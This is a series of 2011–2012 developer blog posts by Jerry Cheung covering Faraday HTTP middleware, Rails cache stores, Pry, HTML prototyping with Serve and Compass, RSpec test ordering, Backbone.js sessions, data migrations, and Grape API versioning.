
Jerry Cheung — Mon, 12 Mar 2012 00:00:00 +0000

Faraday is a Ruby HTTP client which allow developers to customize its behavior with middlewares. If you're familiar with Rack, then you'll love Faraday. Rather than re-implement yet another HTTP client, Faraday has adapters for popular libraries like Net::HTTP, excon, patron, and em-http. On top of having a consistent interface between different adapters, Faraday also allows you to manipulate request and responses before and after a request is executed. This tutorial gives an introduction of common use cases built into Faraday, and also explains how to extend Faraday with custom middleware. The code is well tested and easy to follow, so I recommend browsing the source code to find extra options and features not covered in this tutorial.

Basics

Out of the box, Faraday functions like a normal HTTP client with a easy to use interface.

Faraday.get 'http://example.com'

Alternatively, you can initialize a Faraday::Connection instance:

conn = Faraday.new
response = conn.get 'http://example.com'
response.status
response.body

conn.post 'http://example.com', :some_param => 'Some Value'
conn.put  'http://example.com', :other_param => 'Other Value'
conn.delete 'http://example.com/foo'
# head, patch, and options all work similarly

Parameters can be set inline as the 2nd hash argument. To specify headers, add optional hash after the parameters argument or set them through an accessor:

conn.get 'http://example.com', {}, {'Accept' => 'vnd.github-v3+json'}

conn.params  = {'tesla' => 'coil'}
conn.headers = {'Accept' => 'vnd.github-v3+json'}

If you have a restful resource you're accessing with a common base url, you can pass in a :url parameter that'll be prefixed to all other calls. Other request options can also be set here.

conn = Faraday.new(:url => 'http://example.com/comments')
conn.get '/index'  # GET http://example.com/comments/index

All HTTP verb methods can take an optional block that will yield a Faraday::Request object:

conn.get '/' do |request|
  request.params['limit'] = 100
  request.headers['Content-Type'] = 'application/json'
  request.body = "{some: body}"
end

File upload

payload = { :name => 'Maguro' }

# uploading a file:
payload = { :profile_pic => Faraday::UploadIO.new('avatar.jpg', 'image/jpeg') }

# "Multipart" middleware detects files and encodes with "multipart/form-data":
conn.put '/profile', payload

Authentication

Basic and Token authentication are handled by Faraday::Request::BasicAuthentication and Faraday::Request::TokenAuthentication respectively. These can be added as middleware manually or through the helper methods.

conn.basic_auth('pita', 'ch1ps')
conn.token_auth('pitach1ps-token')

Proxies

To specify an HTTP proxy:

Faraday.new(:proxy => 'http://proxy.example.com:80')
Faraday.new(:proxy => {
  :uri      => 'http://proxy.example.com',
  :user     => 'foo',
  :password => 'bar'
})

SSL

See the Setting up SSL certificates wiki page.

conn = Faraday.new('https://encrypted.google.com', :ssl => {
  :ca_path => "/usr/lib/ssl/certs"
})
conn.get '/search?q=asdf'

Faraday Middleware

Like a Rack app, a Faraday::Connection object has a list of middlewares. Faraday middlewares are passed an env hash that has request and response information. Middlewares can manipulate this information before and after a request is executed.

To make this more concrete, let's take a look at a new Faraday::Connection:

conn = Faraday.new
conn.builder

> #<Faraday::Builder:0x00000131239308
    @handlers=[Faraday::Request::UrlEncoded, Faraday::Adapter::NetHttp]>

Faraday::Builder is analogus to Rack::Builder. The newly initialized Faraday::Connection object has a middleware Faraday::Request::UrlEncoded in front of an adapter Faraday::Adapter::NetHttp. When a connection object executes a request, it creates a shared env hash, wraps the outer middlewares around each inner middleware, and executes the call method. Also like a Rack application, the adapter at the end of the builder chain is what actually executes the request.

Middlewares can be grouped into 3 types: request middlewares, response middlewares, and adapters. The distinction between the three is cosmetic. The following two initializers are equivalent:

Faraday.new do |builder|
  builder.request  :retry
  builder.request  :basic_authentication, 'login', 'pass'
  builder.response :logger
  builder.adapter  :net_http
end

Faraday.new do |builder|
  builder.use Faraday::Request::Retry
  builder.use Faraday::Request::BasicAuthentication, 'login', 'pass'
  builder.use Faraday::Response::Logger
  builder.use Faraday::Adapter::NetHttp
end

Using a Different HTTP Adapter

If you wanted to use a different HTTP adapter, you can plug one in. For example, to use a EventMachine friendly client, you can switch to the EMHttp adapter:

conn = Faraday.new do |builder|
  builder.use Faraday::Adapter::EMHttp

  # alternative syntax that looks up registered adapters from lib/faraday/adapter.rb
  builder.adapter :em_http
end

Currently, the supported adapters are Net::HTTP, EM::HTTP, Excon, and Patron.

Advanced Middleware Usage

The order in which middleware is stacked is important. Like with Rack, the first middleware on the list wraps all others, while the last middleware is the innermost one, so that's usually the adapter.

conn = Faraday.new(:url => 'http://sushi.com') do |builder|
  # POST/PUT params encoders:
  builder.request  :multipart
  builder.request  :url_encoded

  builder.adapter  :net_http
end

This request middleware setup affects POST/PUT requests in the following way:

Request::Multipart checks for files in the payload, otherwise leaves everything untouched;
Request::UrlEncoded encodes as "application/x-www-form-urlencoded" if not already encoded or of another type

Swapping middleware means giving the other priority. Specifying the "Content-Type" for the request is explicitly stating which middleware should process it.

Examples:

payload = { :name => 'Maguro' }

# uploading a file:
payload = { :profile_pic => Faraday::UploadIO.new('avatar.jpg', 'image/jpeg') }

# "Multipart" middleware detects files and encodes with "multipart/form-data":
conn.put '/profile', payload

Modifying the Middleware Stack

Each Faraday::Connection instance has a Faraday::Builder instance that can be used to manipulate the middlewares stack.

conn = Faraday.new
conn.builder.swap(1, Faraday::Adapter::EMHttp)  # replace adapter
conn.builder.insert(0, MyCustomMiddleware)      # add middleware to beginning
conn.builder.delete(MyCustomMiddleware)

For a full list of actions, take a look at the Faraday::Builder documentation.

Writing Middleware

Middleware are classes that respond to call. They wrap the request/response cycle. When it's time to execute a middleware, it's called with an env hash that has information about the request and response. The general interface for a middleware is:

class MyCustomMiddleware
  def call(env)
    # do something with the request

    @app.call(env).on_complete do |env|
      # do something with the response
      # env[:response] is now filled in
    end
  end
end

It's important to do all processing of the response only in the on_complete block. This enables middleware to work in parallel mode where requests are asynchronous.

env is a hash with symbol keys that contains info about the request and response.

:method - a symbolized request method (:get, :post, :put, :delete, :option, :patch)
:body   - the request body that will eventually be converted to a string.
:url    - URI instance for the current request.
:status           - HTTP response status code
:request_headers  - hash of HTTP Headers to be sent to the server
:response_headers - Hash of HTTP headers from the server
:parallel_manager - sent if the connection is in parallel mode
:request - Hash of options for configuring the request.
  :timeout      - open/read timeout Integer in seconds
  :open_timeout - read timeout Integer in seconds
  :proxy        - Hash of proxy options
    :uri        - Proxy Server URI
    :user       - Proxy server username
    :password   - Proxy server password
:response - Faraday::Response instance. Available only after `on_complete`
:ssl - Hash of options for configuring SSL requests.
  :ca_path - path to directory with certificates
  :ca_file - path to certificate file

Testing Middleware

Faraday::Adapter::Test is an HTTP adapter middleware that lets you to fake responses.

# It's possible to define stubbed request outside a test adapter block.
stubs = Faraday::Adapter::Test::Stubs.new do |stub|
  stub.get('/tamago') { [200, {}, 'egg'] }
end

# You can pass stubbed request to the test adapter or define them in a block
# or a combination of the two.
test = Faraday.new do |builder|
  builder.adapter :test, stubs do |stub|
    stub.get('/ebi') {[ 200, {}, 'shrimp' ]}
  end
end

# It's also possible to stub additional requests after the connection has
# been initialized. This is useful for testing.
stubs.get('/uni') {[ 200, {}, 'urchin' ]}

resp = test.get '/tamago'
resp.body # => 'egg'
resp = test.get '/ebi'
resp.body # => 'shrimp'
resp = test.get '/uni'
resp.body # => 'urchin'
resp = test.get '/else' #=> raises "no such stub" error

# If you like, you can treat your stubs as mocks by verifying that all of
# the stubbed calls were made. NOTE that this feature is still fairly
# experimental: It will not verify the order or count of any stub, only that
# it was called once during the course of the test.
stubs.verify_stubbed_calls

Useful Middleware

faraday-middleware - collection of Faraday middlewares.
faraday_yaml - yaml request/response processing

Writing a Custom Rails Cache Store

Jerry Cheung — Tue, 6 Mar 2012 00:00:00 +0000

When you use Rails built-in helpers for page, action, and fragment caching, the cached data is stored into an instance of ActiveSupport::Cache::Store. But while the interface for using the cache stores are the same, each cache store implementation has different performance characteristics and are suited for different jobs. In this post, I'll cover what cache stores are available with Rails by default, how to tune them, and how to write your own custom cache store.

Grabbing the Code

If you want to follow along in the code, I recommend cloning the Rails repository. The cache related code I'm covering all live within activesupport/lib/cache.rb and activesupport/lib/cache folder. The corresponding tests live in activesupport/test/caching_test.rb.

Introducing the Abstract Store

All cache store implementations inherit from an abstract store named ActiveSupport::Cache::Store. This class defines the public interface that's used by Rails to do caching. The three basic operations are read, write, and delete. Here's a simple example you can run in irb:

require 'activesupport'
cache = ActiveSupport::Cache.lookup_store(:memory_store)
cache.read('foo')
=> nil
cache.write('foo', 'bar')
cache.read('foo')
=> 'bar'
cache.delete('foo')
cache.read('foo')
=> nil

After requiring activesupport, we ask for an instance of a MemoryStore (we'll cover the different store types later in this post). The interface for read, write, and delete are self explanatory. You can also customize the behavior of these actions.

Store Implementations

The concrete store implementations are well documented, so I'll introduce them briefly here and leave the details to the documentation.

MemoryStore - a cache store that stores data in a plain-old Ruby hash. As an added feature, it keeps track of cache access and cache size, and will prune the cache when it hits a customizable max size.
FileStore - a cache store that stores data on the filesystem. It also caches multiple read calls within the same block in memory to decrease I/O.
MemCacheStore - the big daddy of cache stores. Backed by memcached, this store allows you to specify multiple memcached servers and load balances between them.
NullStore - Interesting cache store that does nothing. That's right, if you look at its implementation, it's just a bunch of empty methods. It's perfect for use as a mock cache store for testing, or as a template for writing your own cache store.

Rails Initialization

By default, Rails 3 will initialize a FileStore that you can reference through Rails.cache. This cache is used internally by Rails to cache classes, pages, actions, and fragments. If you want to change which cache store is used, you can configure it in your application.rb

# use a MemoryStore cache with a max size of 512 megabytes
config.cache_store = [:memory_store, {:size => 536870912}]

In production mode, Rails will also insert Rack::Cache to the top of the middleware stack and use Rails.cache as its storage. Note that even though Rack::Cache's heap storage does not bound the size of its cache, if you use ActiveSupport's MemoryStore, the least recently used entries will be pruned from the cache when it hits your specified limit. So if you set correct cache headers, Rack::Cache will pick them and cache your responses.

Writing A Custom Cache Store

The default cache stores are a perfect fit for most situations, but if you do need to write a custom cache store, rest assured that it's easy to do.

The three main methods to override are:

# Read an entry from the cache implementation. Subclasses must implement this method.
def read_entry(key, options) # :nodoc:
  raise NotImplementedError.new
end

# Write an entry to the cache implementation. Subclasses must implement this method.
def write_entry(key, entry, options) # :nodoc:
  raise NotImplementedError.new
end

# Delete an entry from the cache implementation. Subclasses must implement this method.
def delete_entry(key, options) # :nodoc:
  raise NotImplementedError.new
end

These methods are then used by the public interface methods. There are a few methods you can optionally implement, but your cache will work with just the three listed above.

For a client project, I wrote a write-through cache store called CascadeCache that chains multiple cache stores together. For example, here's one possible configuration:

config.cache_store = [:cascade_store, {
  :stores => [
    [:memory_store, :size => 5.megabytes],
    [:memcache_store, 'somehost:11211']
  ]
}]

The behavior of this cache store is to return the first hit from the list of caches. This allows the app to have a small low-latency MemoryStore in front of a MemCacheStore. If something can't be found in the MemoryCache, then we fall back to MemCache. When writing to the cache, entries are written through to both underlying cache stores. The primary reason for doing this wasn't because MemCache store was slow, but as an extra backup cache in case MemCache became temporarily unavailable (actually happened in production).

I'm hoping CascadeCache makes it upstream into ActiveSupport, but in the meantime, I've packaged it up as a separate gem. For another example of a custom cache implementation, check out redis-store. It includes an ActiveSupport compatible cache.

Caching is a tricky beast. On top of deciding what to cache and when to expire, the underlying cache store can affect your app's performance. Choose the cache store that best fits your needs, use a hybrid CascadeCache, or write your own. Good luck and happy tuning!

Pry Productivity From Your Code

Jerry Cheung — Wed, 29 Feb 2012 00:00:00 +0000

You've heard of Pry right? It's a full-featured alternative to the classic IRB shell that we use in Ruby, and it's awesome sauce. If you've ever felt like you wanted a crowbar to pry open your code during runtime... well, Pry is your answer.

Pry is essentially a REPL (read–eval–print loop) tool that you can use to examine and debug your code. One of the best features is that local variables are available to Pry, saving you from recreating them as you normally would in an IRB session.

Installing Pry

I like to install pry into the global gemset since it's a tool even when I'm outside of a Rails project

rvm use @global
gem install pry

Replacing IRB with Pry

In your application initialization, add the following to replace IRB with pry by default. For example, Rails would add this code to config/initializers/pry.rb

begin
  require "pry"
  IRB = pry
rescue
  # do nothing if pry fails to load
end

Replacing ruby-debug with Pry

Between different versions of Ruby, installing and requiring ruby-debug can lead to annoying problems. 1.8.7 uses ruby-debug, 1.9.2 requires ruby-debug19, and 1.9.3 blows up when you try to use ruby-debug19. ruby-debug also depends on the linecache gem, which sometimes requires extra work to use with rvm and sometimes fails in environments when the native extensions fail to build.

Instead, skip all that headache with Pry! Anywhere you would use a 'debugger' statement, just call:

binding.pry

'binding' is a reference to the current local context. Enter 'exit' when you're finished with debugging, and the code will resume executing

Additional features

Pry has a ton of other productivity boosters built in. You can drop into a shell temporarily, browse docs without leaving your shell, edit and reload code, and send code snippets up to gist. For a full listing, check out their README

There's a ton of documentation for Pry and a growing community around it; if you're interested in jumping in be sure to start at their Github page for links to tutorials, screencasts, FAQs and a Wiki!

Balancing Pain and Happiness

Jerry Cheung — Tue, 28 Feb 2012 00:00:00 +0000

Republished from Opperator blog

When building a product for your audience, you need to empathize with their pains and problems. It's one thing to imagine yourself in their proverbial shoes, but it's much more effective to just wear the same damn shoes. It means using your own product while you're building your product. Startup slang commonly refers to this as "dog-fooding", but I dislike this term because it evokes images of being forced fed something you don't want.

While it's important to focus on relieving your customers' pain, it's equally important to optimize your own happiness along the way. Not only will you enjoy your work more, your code will be "happier" as well. Allow me to explain what happy code looks like.

When Michael and I started Opperator, we aligned ourselves with our customers. When life sucks for our customers, life sucks for us. When life is awesome for our customers, life is also awesome for us. It's a very simple formula to balance: remove sucky things, and increase awesome things. Simple as this sounds, many entrepreneurs only tackle the former half of the formula. For any startup, there are many things that happen behind the scenes that your customers don't see. Things like code smells, technical debt, and shoddy documentation. But just because your customers don't see these things, doesn't mean that you don't.

We execute quickly on Opperator, but we also take the time to step back and holistically evaluate our product.

Are we happy with the direction we're going?
Are we happy with the code we've written?
Do we feel mentally or physically burned out?

These aren't things that your customer will see. But over time, these things will add up. If you're not happy with working on your product, then your efforts will be forced, and the results will reflect this. Taking a small slice of time to take care of any of these points will yield long term results for your business and for yourself.

Prototyping with Compass and Serve

Jerry Cheung — Tue, 24 Jan 2012 00:00:00 +0000

For prototyping a new webapp, I like to get an HTML prototype on screen as fast as possible. There are a number of ways to achieve this, ranging from the heavyweight Rails, to the lightweight Sinatra. But even a barebones Sinatra app requires you to specify routes and layouts. When I'm focused on sketching out the markup structure and design, what I'm looking for is less distractions from setup. Theoretically, one could prototype everything with raw static HTML, but most designs usually share layouts and snippets that would be a pain to copy and paste between different files. Writing raw CSS is also possible, but once you've gotten a taste of Sass and Compass extensions, why would you want to? In this post I'll outline my bottoms up approach to getting a site design bootstrapped. I'll also cover how to get these prototypes up in a public area for feedback, and how these prototypes can be used as scaffolding alongside your development.

TL;DR

This tutorial builds up an HTML prototype from the bottom up to show how prototyping problems can be solved with compass and serve. To build an HTML prototype, you can skip all of the details and just run:

serve create my-project

Check out the serve documentation for more detail. To arrive at the same conclusion step-by-step, read the long version below.

Overview

We'll walk through the individual steps of building out a web prototype. We'll start with the bare minimum and add pieces as needed. The example design I'm using is the design for my car blog, and the final source can be found here on github.

Build a single static page

The beauty of static pages is how quick it is to set one up. We'll worry about the other pages after we've happy with how the index page looks. For starters, let's create a basic page skeleton.

<html>
  <head></head>
  <body>
    <div id='header'>
      <a href='#'>Rocky Road Blog</a>
    </div>
    <div id='main'>
      <div id='post-list'>
        <div class='post'>
          <!-- blog post goes here -->
        </div>
      </div>
    </div>
    <div id='footer'>
      <p>Copyright 2011 RockyRoadBlog. All rights reserved</p>
    </div>
  </body>
</html>

To stub out image assets, I used LoremPixel. There's no styling at all, but the structure gives us a good idea of where everything will live.

Add stylesheets

Instead of writing raw CSS, it's much easier to write stylesheets with sass. Compass is another library that provides a bunch of useful sass mixins and functions. When paired with guard-compass, the stylesheets are compiled to css files whenever you save your sass files.

Add the following to a Gemfile

source "http://rubygems.org"

gem "compass"
gem "guard"
gem "guard-compass"

Then run:

bundle
bundle exec compass init --syntax=sass
bundle exec guard init

By default, compass uses the scss syntax, but I prefer the indentation based sass syntax instead. Skip the --syntax=sass if you prefer the default. Edit your Guardfile to look like the following:

guard "compass" do
  watch(%r{sass/*\.sass})
end

Let's add our first sass file and check that our setup is working. Add a main.sass to your sass/ subdirectory with the following:

body
  background-color: red

Add a line to index.html in the head section to reference the compiled stylesheet. Notice that we're referencing the compiled css file, not the original sass source file.

<link rel='stylesheet' type='text/css' href='stylesheets/main.css'>

Now start guard with:

bundle exec guard

You should see your sass source files compile. Now whenever you make changes to your sass files, guard will pick them up and recompile your sources.

Reusable snippets

When designing, it's common to have a chunk of markup that needs to be reused over and over. In our example, I'd like to see the design with multiple post elements at once. I could duplicate the markup several times, but that's a pain, and becomes even more painful when you have to change all of the duplicated markup if you want to make a change. What we ideally want is to have a separate file for the reusable snippets that we can include as many times as we'd like.

Serve does exactly that (and more). First let's get it installed by adding it to our Gemfile.

gem "serve"  # run "bundle" after editing

In serve, reusable snippets are called 'partials'. Partials live in a folder called views by default. To make a new partial for each individual blog post, we create a file named _post.erb with the html of a post:

<!-- in views/_post.erb -->
<div class='post'>
  <!-- blog post goes here -->
</div>

Whenever we want to reference that partial, we can include it in our other templates by calling render. For example, if we want to list 5 posts per index page, we can use a simple loop:

<!-- in index.html -->
<html>
  <head></head>
  <body>
    <div id='header'>
      <a href='#'>Rocky Road Blog</a>
    </div>
    <div id='main'>
      <div id='post-list'>
        <!-- renders 5 post divs -->
        <%= 5.times.each do %>
          <%= render 'post' %>
        <% end %>
      </div>
    </div>
    <div id='footer'>
      <p>Copyright 2011 RockyRoadBlog. All rights reserved</p>
    </div>
  </body>
</html>

To see this in action, run serve in your terminal, and visit http://localhost:4000. You should see the blog index page with 5 posts in it.

Layouts

Our blog index page is starting to come together. But our blog will have other pages as well. There'll be an 'About' page and also a page to show a blog post and it's comments. These pages will share a lot of the same markup (the header, the footer, the page structure). Rather than pulling out partials for each of these, we can create a layout. Think of a layout as an inside-out partial. Instead of specifying which parts are the same, you specify which part will change. To create our layout, add the following to _layout.erb in the views directory.

<!-- views/_layout.erb -->
<html>
  <head></head>
  <body>
    <div id='header'>
      <a href='#'>Rocky Road Blog</a>
    </div>
    <div id='main'>
      <%= yield %>
    </div>
    <div id='footer'>
      <p>Copyright 2011 RockyRoadBlog. All rights reserved</p>
    </div>
  </body>
</html>

Now we can change index.html to:

<div id='post-list'>
  <%= 5.times.each do %>
    <%=  render 'post' %>
  <% end %>
</div>

If you try and view this in your browser, you'll notice that the loop didn't render the partial and still looks like ruby code. This is because serve determines what template language to run on a file based on it's file extension. So to run ruby code in our index template, we need to rename it to index.html.erb

To create our About page, we just need to put the html that's different in about.erb

<h1>About</h1>
<!-- about us here -->

Serve figures out the URL paths based on the filename, so you can view this new file at http://localhost:4000

Layouts and Nested Paths

Up til now, we've put our html files at the top level folder. This works until you have multiple pages and multiple layouts. Just like how it figures out URL's from filename, serve will also pickup nested folders as part of the URL. For example, if I wanted to create /about/jerry page that uses a different layout, I could create the following directory structure:

rrb
  _layout.erb
  show.html.erb     # show will use rrb/_layout.erb
  about
    _layout.erb
    jerry.html.erb  # jerry will use rrb/about/_layout.erb

Publishing your prototype

Once everything looks good, we still need to get feedback from people who may not have ruby setup. Serve has a nice export utility that will flatten your all your pages into static html files. To export your prototype, run:

serve export

This will dump everything into an html directory that you can zip up and share.

Scaffolded development

serve is a great tool to use alongside ruby webapp development. Since it's a rack app, you can mount it alongside your Rails or Sinatra application and fill out the functionality as you go.

Design driven prototyping

Prototyping out the flows and design of an application is a great way to explore how an application will work. Paper and photoshop prototypes are great, but actually being able to click through an HTML prototype can help the design and user experience process. The serve library makes it easy to build html prototypes by cutting down on the amount of setup work needed to be done.

Hunting Down Execution Order Test Failures

Jerry Cheung — Wed, 11 Jan 2012 00:00:00 +0000

Unit tests should pass when run in random order. But for an existing legacy project certain tests might depend on the execution order. One test might run perfectly fine by itself, but fail miserably when run after another test. Rather than running different combinations manually, RSpec 2.8 has the option to run specs in random order with the --order random flag. But even with this it can be hard to determine which specific test is causing the dependency. For example:

rspec spec/controllers  # succeeds
rspec spec/lib/my_lib_spec.rb  # succeeds
rspec spec/controllers spec/lib/my_lib_spec.rb  # fails

In this scenario you know that one of the spec files in spec/controllers is not jiving with your lib spec, but if you have hundreds of spec files, it's hard to tell which. Never fear! There's a Ruby one-liner for that:

ls spec/controllers/*.rb | ruby -pe '$_=`rspec #{$_} spec/lib/my_lib_spec.rb`'

Let's break this command down into its components:

ls spec/controllers/*.rb

gives you a list of spec files to run alongside your lib spec

ruby -pe

'e' for execute, and 'p' means wrap the code in a loop and assign each line of STDIN to $_. We're piping in STDIN from the ls command.

$_=`rspec #{$_} spec/lib/my_lib_spec.rb`

The 'p' flag also prints out the value of $_ at the end of each loop. So we assign the output of running rspec with the 2 files (one from ls alongside my_lib_spec).

My bash buddies would wag their fingers at me for using a ruby one-liner here, but it's a familiar syntax and it's easier for me than remembering other shell commands and regex flags. If there's something another unix program is better at processing, then I can then take the output of the ruby one-liner and pipe it into another command. It's a very simple and versatile way to munge on text.

Backbone.js: Sessions and Authentication

Jerry Cheung — Wed, 11 Jan 2012 00:00:00 +0000

Republished from Opperator blog

Building an API driven Javascript app brings about challenges for authentication that I've taken for granted when working with traditional http frameworks. In this post, I'll outline the basic concepts of what a session is, and how we manage sessions with Backbone.js.

HTTP is a stateless protocol. This means that nothing is remembered from one request to the next. This is great for normal content sites, but lacking when building a webapp. A normal HTTP request lifecycle looks like this:

But for webapps, we need to have a concept of a logged in user and unauthenticated user. Web frameworks hide this in a Session abstraction. The gist of how an authentication request flow works look like:

First a user will submit a login form to the backend. Instead of just returning a response, the backend will generate and remember a session id that it can use to look up this particular login for later requests. This session id is passed back to the client as a cookie value.

Now whenever the client makes a request, the cookie will also be sent to the backend. The backend can then check to value to know whether the user is authenticated and authorized to access the resource they're requesting.

With the theory part out of the way, here's how we structured authentication in Backbone.js. First, we created a Session model.

App.Models.Session = Backbone.Model.extend
  defaults:
    access_token: null,
    user_id: null

  initialize: ->
    @load()

  authenticated: ->
    Boolean(@get("access_token"))

  # Saves session information to cookie
  save: (auth_hash)->
    $.cookie('user_id', auth_hash.id)
    $.cookie('access_token', auth_hash.access_token)

  # Loads session information from cookie
  load: ->
    @set
      user_id: $.cookie('user_id')
      access_token: $.cookie('access_token')

This model has a simple and straightforward interface. When it's initialized, it looks for an existing login with the jQuery cookie plugin. If it finds this information, it'll set the access_token and user_id for later use. Once an access_token is set, then the authenticated method will return true.

In our main application, we'll have a single entry point for our application that'll route the user the based on whether they're authenticated or not.

App.start = ->
  @session = new App.Models.Session()
  if @session.authenticated()
    # redirect to user page
  else
    # launch a login form

With this, all of your pages can run App.start() at the bottom of a page to initialize any authentication logic.

Backbone.js makes no assumptions about what you're using for generating sessions in your backend. In our app, we're using oauth authentication, which is why our key is named access_token, but this pattern can be applied to whatever authentication system your backend uses.

Useful Libraries: Rake::Pipeline and Spade

Jerry Cheung — Mon, 19 Dec 2011 00:00:00 +0000

Republished from Opperator blog

In doing research for whether Ember.js would be a good fit for Opperator, I took some notes about the process. I came across two useful libraries used in Ember.js that I hadn't heard of before. Rake::Pipeline helps package code assets together, and spade is a Javascript dependency manager. Here's a quick overview of what they do, and how you can use them in your project.

Rake::Pipeline

From the Rake::Pipeline docs:

Rake::Pipeline is a system for packaging assets for deployment to the web. It uses Rake under the hood for dependency management and updating output files based on input changes.

Think of Rake::Pipeline as a lighter and simpler Sprockets. It allows you to declaratively match filenames with regexps, and then run those matched files through custom filter classes. Here's an easy example of how to concatenate all files that end in .js, and then slap a license on the top

# Assetfile
input  "app/assets/javascripts"
output "public/javascripts"

class LicenseFilter < Filter
  LICENSE = File.read('LICENSE')

  def generate_output(inputs, output)
    output.write LICENSE
    output.write "\n"
    output.write inputs.map(&:read).join("\n")
  end
end

match "*.js" do
  filter Rake::Pipeline::ConcatFilter, "application.js"
  filter LicenseFilter
end

First you declare where you want your base input and output directory paths should be. The input directory will be where files will be matched up against. Next we define our own custom LicenseFilter, which is used to prefix input files with the contents of our LICENSE file. As you can guess from the arguments of the generate_output method, each element in the inputs array is an IO object that you can read from, and output is the destination of what you're writing.

Finally, we use the match block to specify that we want all files that end in .js to be run through the Rake::Pipeline::ConcatFilter and output to public/application.js. Then we run our LicenseFilter against the final file to prefix our license.

Spade

Spade is a package manager and file loader that reminds me of NPM. The goal of the library is to be able to package and require modules that can be run in a terminal and also in the browser. The browser part is obvious, but being able to run from the terminal is quite useful. For example, you can have an npm-like module named 'awesome-module', and from a terminal do:

spade preview  # opens in a browser with your module loaded
spade console  # start interactive repl
> require('awesome-module/main)

Alongside with spade-qunit, you can easily separate a library into a bunch of packages, test them separately, and view the results in a browser.

Planning a Big Data Migration

Jerry Cheung — Thu, 1 Dec 2011 00:00:00 +0000

It doesn't matter if data is being migrated from SQL to NoSQL, from flat files to key-value store, or from XML to an object database, or every permutation of any data store to any other data store. What stays constant is the fact that data migrations are scary and painful. Without the right strategy, a big data migration will leave you with inconsistent data, strange errors, and very angry users. Read on for a data migration checklist that'll save you days of headache.

Backup

Before even considering a massive destructive mutation of your data, you should have working backups. The keyword is "working". Take production dumps of your data, and make sure you can load the same data on a cloned environment. If anything goes wrong when migration day comes along, these backups will be your last line of defense. Backups are also useful for doing practice runs of a migration.

Logging

Create a logger that logs to a separate place from your application logs that's specific for the migration. When the migration is running, the logger should warn on strange data and error on exceptional cases. To keep the log useful, it's important not to flood it with debugging information. Log only the most important details needed for troubleshooting problems: a timestamp, an id reference to the failing record, and a brief description of the failure reason.

Atomicity

Regardless of whether the destination data store supports transactions or not, the migration should always define an invariant for when a record is successfully imported. If this invariant is broken, then whatever has been done to break the invariant should be undone so that your data isn't in some zombie half consistent state.

Idempotence

Not strictly the definition of idempotence, but similar to maintaining consistency, your code should be able to handle re-migrating the same data. If the migration crashes halfway, having this property allows you restart and import again without worrying about weird state issues.

Batch Processing

Having atomicity and idempotence lets your migration be split up into smaller migrations. Instead of migrating a million records in an all-or-nothing migration and crossing your fingers, you can split them up into small 500 record batches. If any single batch fails, you can redo just that single batch, rather than redo the entire migration. This also allows you to balance the migration across more resources like multiprocessors, different servers, and different slave databases.

Validation

After a migration is complete, it's important to be able to validate that everything is still working. This means running your test suite, your integration tests, and also logging in as existing users and clicking around.

Live Migrations

Running a migration with scheduled downtime is hard enough as it is, but in certain applications, a big chunk of downtime is unacceptable. If this is the case, then it's critical to add bookkeeping code that tracks which records has been migrated and which haven't. This allows you to query and incrementally upgrade parts of your system while co-existing with old data and old code.

Plan Ahead

Data migrations will always be a chore. But with the right strategy, at least it'll be one that can be finished, rather than something that drags along and repeatedly slows down your whole team.

Behind the Curtain: Grape API Versioning

Jerry Cheung — Wed, 30 Nov 2011 00:00:00 +0000

Republished from Opperator blog

Behind the Curtain posts explore the development of a piece of Opperator's architecture, including the what, why, and how.

Grape is a Ruby framework for building restful APIs on the web. We're using it extensively to build Opperator. Out of the box, Grape has built-in support for versioning your APIs. There's general information about how to use versioning in the Grape README and the wiki, but this post is more about digging into the nitty-gritty and discussing some of the design decisions and implementation details that've been merged in recently.

Path Based Versioning

Previously, Grape supported API versioning by prefixing the version name in the url. For example:

class MyAPI < Grape::API
  version :v1

  # GET /v1/cows
  get '/cows' do
    # retrieve bovine goodness
  end
end

When version is called, the version names are passed into Grape::Middleware::Versioner pre-refactored file When a request comes in, the middleware looks for a matching version in the path. If it finds the version, it rewrites the path info without the version prefix, sets env[api.version], and moves along it's merry way. If no version is matched, then a 404 is thrown.

Header Based Versioning

This works as you'd expect, but introduces your versioning scheme into your resource uri's. Workable, but it messes up those pretty restful uris. Fortunately, the HTTP protocol Accept header is a perfect fit for this problem. RFC 2616 defines the Accept header as:

The Accept request-header field can be used to specify certain media types which are acceptable for the response. Accept headers can be used to indicate that the request is specifically limited to a small set of desired types, as in the case of a request for an in-line image.

While the example the RFC gives is related to multimedia, if you squint and replace the references to media with 'version', then you have a good overview of header based API versioning. This Accept header field can be used to scope a request to a specific API version. For example, the Github API understands the following Accept header:

Accept: application/vnd.github-v1+json

The client who sent this header is asking the server "Hey Github, can you give me a responses that is version v1 and formatted in JSON?". When Github sees this request, it can do one of two things. If it's able to answer the question, then it processes the request as normal. However, if Github doesn't understand the Accept field value, then it should send a 406 Not Acceptable response.

Revisiting our code sample, we would define our API as follows:

class MyAPI < Grape::API
  version :v1, :using => :header, :vendor => 'intridea', :format => :json

  # GET /cows
  get '/cows' do
    # retrieve bovine goodness
  end
end

Header based versioning is the new default versioning strategy, but I explicitly specified it in the example for clarity. The vendor option is new and is a way to describe the vendor providing this API, and the format option is the expected response format. Similar to path based versioning, Grape::Middleware is responsible for figuring out the version being requested and setting env[api.version]. But since there are now multiple strategies for handling versions, Grape::Middleware::Versioner has been split into two middlewares. Grape::Middleware::Versioner::Path is the original path based middleware, and Grape::Middleware::Versioner::Header is the new kid on the block. Relevant commit here

This new middleware will use the following format in the Accept header when matching for versions:

application/vnd.:vendor-:version+:format

These are the fields that are original declared when version was first called. If the middleware is able to match these fields, then the endpoint is called with some extra environment variables 'api.vendor', 'api.version', and 'api.format'. If the version couldn't be matched, then the middleware returns 404 and also sets the X-CASCADE header to pass. That last part is important because it allows Rack::Mount to keep looking for other endpoints which might match the version.

You can also control the routing behavior when no Accept header is specified with the strict option. If strict is set to true, then a 404 will be returned when no Accept is set. If strict is false, then the first matched endpoint is returned. This is inline with the RFC definition and basically means that the client doesn't care which version the server responds with. Most likely, if strict is set to false, you'd like to use the latest available version. To achieve this, you should mount your latest version as high as possible (similar to routes precedence in Rails)

class MyAPI < Grape::API
  # version v2 has higher precedence than v1
  version :v2, :strict => false do
    get '/cows' do
    end
  end

  version :v1 do
    get '/cows' do
    end
  end
end

Custom Versioning Strategies

Currently, path and header based versioning are what's understood, but we've opened up the possibility of custom versioning strategies. Prefer to do domain based versioning? Or IP-based versioning? If you want to get really wacky, you can even version based on the lunar calendar.

Extra thanks goes out to jwkoelewijn for creating the initial feature branch and kicking off the discussion.

Developers, what are you thankful for?

Jerry Cheung — Wed, 23 Nov 2011 00:00:00 +0000

Republished from Opperator blog

